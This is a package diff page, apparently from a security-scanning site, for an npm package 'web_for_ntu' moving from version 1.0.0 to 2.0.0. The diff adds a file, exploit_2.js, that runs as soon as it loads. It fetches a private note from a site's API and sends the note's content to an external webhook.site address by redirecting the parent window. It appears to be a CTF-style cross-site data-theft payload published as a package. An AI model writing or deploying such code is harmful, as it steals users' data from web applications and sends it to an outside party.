web_for_ntu 1.0.0 → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/exploit_2.js +9 -0
  2. package/package.json +1 -1
package/exploit_2.js ADDED
@@ -0,0 +1,9 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('/api/notes?id=a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d')
3
+ .then(response => response.json())
4
+ .then(note => {
5
+ window.parent.location.href = `https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd?` + encodeURIComponent(note.content);
6
+ })
7
+ .catch(error => console.error('Error:', error));
8
+ }
9
+ leakDataFromEndpoint();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "web_for_ntu",
3
- "version": "1.0.0",
3
+ "version": "2.0.0",
4
4
  "description": "test1",
5
5
  "main": "exploit.js",
6
6
  "scripts": {